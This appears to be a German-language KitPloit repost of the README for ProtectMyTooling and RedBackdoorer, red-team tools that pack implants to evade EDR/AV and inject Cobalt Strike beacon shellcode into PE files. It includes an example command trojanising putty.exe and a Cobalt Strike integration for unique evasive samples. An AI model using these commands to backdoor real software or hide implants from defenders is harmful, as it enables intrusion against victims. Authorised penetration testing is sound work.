    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

Vollständige RedBackdoorer-Nutzung:``` cmd> py RedBackdoorer.py --help

root@kitploit:~
 ██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█   ▀▒██▀ ██▌
▓██ ░▄█ ▒███  ░██   █▌
▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
  ░▒ ░ ▒░░ ░  ░░ ▒  ▒
  ░░   ░   ░   ░ ░  ░
 ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
▒██▒ ▄█▒██  ▀█▄ ▒▓█    ▄▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
 ░    ░  ░   ▒  ░       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
 ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
      ░         ░              ░


Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

usage: RedBackdoorer.py [options]

options: -h, --help show this help message and exit

Required arguments: mode PE Injection mode, see help epilog for more details. shellcode Input shellcode file infile PE file to backdoor

Optional arguments: -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile. -v, --verbose Verbose mode.

Backdooring options: -n NAME, --section-name NAME If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw -i IOC, --ioc IOC Append IOC watermark to injected shellcode to facilitate implant tracking.

Authenticode signature options: -r, --remove-signature Remove PE Authenticode digital signature since its going to be invalidated anyway.


PE Backdooring consists of two comma-separated options. First one denotes where to store shellcode, second how to run it:

root@kitploit:~
save,run
  |   |
  |   +---------- 1 - change AddressOfEntryPoint
  |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
  |               3 - setup TLS callback
  |
  +-------------- 1 - store shellcode in the middle of a code section
                  2 - append shellcode to the PE file in a new PE section

Example:

root@kitploit:~
py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe
root@kitploit:~
# Cobalt Strike Integration

Es gibt auch ein Skript, das `ProtectMyTooling.py` integriert, das als Wrapper um konfigurierte PE/.NET-Packer/Schutzprogramme verwendet wird, um eingegebene ausführbare Dateien einfach in ihre geschützten und komprimierten Ausgabeformen umzuwandeln und sie dann von innerhalb von CobaltStrike hochzuladen oder zu verwenden.

Die Idee ist, einen automatisierten Prozess zum Schutz aller hochgeladenen Binärdateien oder .NET-Assemblys zu haben, die von execute-assembly verwendet werden, und das manuelle Schützen oder Obfuskieren vor jeder Nutzung zu vergessen. Der zusätzliche Vorteil eines automatisierten Ansatzes zur Transformation von ausführbaren Dateien ist die Fähigkeit, dieselbe ausführbare Datei jedes Mal geschützt zu haben, wenn sie verwendet wird, was zu eindeutigen Proben führt, die auf Zielmaschinen ausgeführt werden. Das sollte EDR/AV-unternehmensweite IOC-Überprüfungen, die nach demselben Artefakt auf verschiedenen Maschinen suchen, schön täuschen.

Zusätzlich hat der Befehl protected-execute-assembly die Fähigkeit, nach Assemblys zu suchen, von denen nur der Name in einem vorkonfigurierten Assembly-Verzeichnis (festgelegt in der Einstellung dotnet_assemblies_directory) angegeben wurde.

Um es zu verwenden:

1. Laden Sie `CobaltStrike/ProtectMyTooling.cna` in Ihr Cobalt Strike.
2. Gehen Sie zum Menü und richten Sie alle Optionen ein

![options](https://assets.kitploit.com/production/public/readmes/5634/45a8a4f1c128ccf0c0712410e5972c0197b5089b228eaaed38b5a23fa46ca5fd.png)

3. Dann stehen in Ihrer Beacon-Konsole folgende Befehle zur Verfügung:

  * `protected-execute-assembly` - Führt ein lokales, zuvor geschütztes und komprimiertes .NET-Programm im Speicher auf dem Ziel aus.
  * `protected-upload` - Nimmt eine Eingabedatei, schützt sie, wenn es eine PE-Exe ist, und lädt diese Datei dann an den angegebenen entfernten Speicherort hoch.
  * `bofnet_load_protected` - Nimmt eine .NET-Assembly-Datei, leitet sie durch die konfigurierte .NET-Packer-Kette, lädt die generierte Ausgabe mit `bofnet_load`. [BOFNET](https://github.com/CCob/BOF.NET/) muss separat geladen werden, damit dies funktioniert.

Im Grunde genommen öffnen diese Befehle Eingabedateien, leiten sie zunächst an das Skript `CobaltStrike/cobaltProtectMyTooling.py` weiter, das wiederum `ProtectMyTooling.py` aufruft. Sobald die Binärdatei verschleiert ist, wird sie an Ihren Beacon zur Ausführung/Übertragung weitergeleitet.

## Optionen im Zusammenhang mit Cobalt Strike

Hier ist eine Liste der Optionen, die vom Cobalt Strike-Integrator benötigt werden:

* `python3_interpreter_path` - Geben Sie einen Pfad zur ausführbaren Datei des Python3-Interpreters an
* `protect_my_tooling_dir` - Geben Sie einen Pfad zum Hauptverzeichnis von ProtectMyTooling an
* `protect_my_tooling_config` - Geben Sie einen Pfad zur Konfigurationsdatei von ProtectMyTooling mit verschiedenen Packer-Optionen an
* `dotnet_assemblies_directory` - Geben Sie einen lokalen Pfad an, in dem nach .NET-Assemblys gesucht werden soll, wenn sie von execute-assembly nicht gefunden werden
* `cache_protected_executables` - Aktivieren, um bereits geschützte ausführbare Dateien zwischenzuspeichern und bei Bedarf wiederzuverwenden
* `protected_executables_cache_dir` - Geben Sie einen Pfad zu einem Verzeichnis an, das zwischengespeicherte geschützte ausführbare Dateien speichern soll
* `default_exe_x86_packers_chain` - Native x86 EXE-Ausführbare-Dateien-Schutzkette/Packer-Kette
* `default_exe_x64_packers_chain` - Native x64 EXE-Ausführbare-Dateien-Schutzkette/Packer-Kette
* `default_dll_x86_packers_chain` - Native x86 DLL-Ausführbare-Dateien-Schutzkette/Packer-Kette
* `default_dll_x64_packers_chain` - Native x64 DLL-Ausführbare-Dateien-Schutzkette/Packer-Kette
* `default_dotnet_packers_chain` - .NET-Ausführbare-Dateien-Schutzkette/Packer-Kette

---

## Bekannte Probleme

- `ScareCrow` ist sehr knifflig unter Windows auszuführen. Was bei mir funktioniert hat, ist Folgendes:
  1. Führen Sie es unter Windows 10 aus und installieren Sie WSL (`bash.exe`-Befehl in Windows verfügbar)
  2. Installieren Sie `golang` in WSL in Version `1.16+` (getestet auf `1.18`)
  3. Stellen Sie sicher, dass `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True` gesetzt ist

---

## Danksagungen & verwendete Technologien

- Alle Credits für Packer, Obfuskierer, Konverter, Loader gehen an ihre Autoren. Dieses Tool ist lediglich ein Wrapper um ihre Technologie!
  - Hoffentlich hat keiner von ihnen etwas dagegen, dass ich solche Wrapper hinzufüge. Sollte es Bedenken geben - bitte kontaktieren Sie mich.

- _ProtectMyTooling_ verwendet auch [`denim.exe`](https://github.com/moloch--/denim) von **moloch--** für einige Nim-basierte Packer.

---

## TODO

- Schreiben Sie einen benutzerdefinierten PE-Injektor und bieten Sie ihn als "Schutzprogramm" an
- Fügen Sie Wasserzeichen zu anderen Dateiformaten wie Office-Dokumenten, WSH-Skripten (VBS, JS, HTA) und Containern hinzu
- Fügen Sie Unterstützung für einige weitere Packer/Loader/Generatoren in naher Zukunft hinzu:
  - [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
  - [`Limelighter`](https://github.com/Tylous/Limelighter)
  - [`PEZor`](https://github.com/phra/PEzor)
  - [`msfevenom`](https://github.com/rapid7/metasploit-framework) - zwei Varianten, eine für eingegebenen Shellcode, die andere für ausführbare Dateien

---

## Haftungsausschluss

Die Verwendung dieses Tools sowie aller anderen Projekte, deren Autor ich bin, für illegale Zwecke, unerwünschtes Hacken, Cyber-Spionage ist strengstens untersagt. 
Dieses und andere Tools, die ich verteile, helfen professionellen Penetrationstestern, Sicherheitsberatern, Sicherheitsingenieuren und anderem Sicherheitspersonal, die Cyber-Verteidigungsfähigkeiten ihrer Kundennetzwerke zu verbessern.  
In keinem Fall haften die Autoren oder Urheberrechtsinhaber für Ansprüche, Schäden oder andere Haftungen, die aus der illegalen Nutzung dieser Software entstehen.

Falls es Bedenken, Urheberrechtsprobleme, durch diese Software verursachte Bedrohungen oder andere Anfragen gibt - ich bin offen für eine Zusammenarbeit, um diese verantwortungsvoll zu behandeln.

Das Tool bietet eine praktische Oberfläche zur Nutzung von meist Open-Source- oder kommerziell erhältlichen Packern/Schutzprogrammen/Obfuskationssoftware und führt daher keine unmittelbaren neuen Bedrohungen für die Cybersicherheitslandschaft ein.

---

### ☕ Unterstützung zeigen ☕

Dieses und andere Projekte sind das Ergebnis schlafloser Nächte und **viel harter Arbeit**. Wenn Ihnen gefällt, was ich tue, und Sie es zu schätzen wissen, dass ich immer etwas an die Gemeinschaft zurückgebe, [Erwägen Sie, mir einen Kaffee zu kaufen](https://github.com/sponsors/mgeeky) _(oder besser ein Bier)_ um einfach Danke zu sagen! 💪 

---

## Autor```   
   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky) 
Tool herunterladen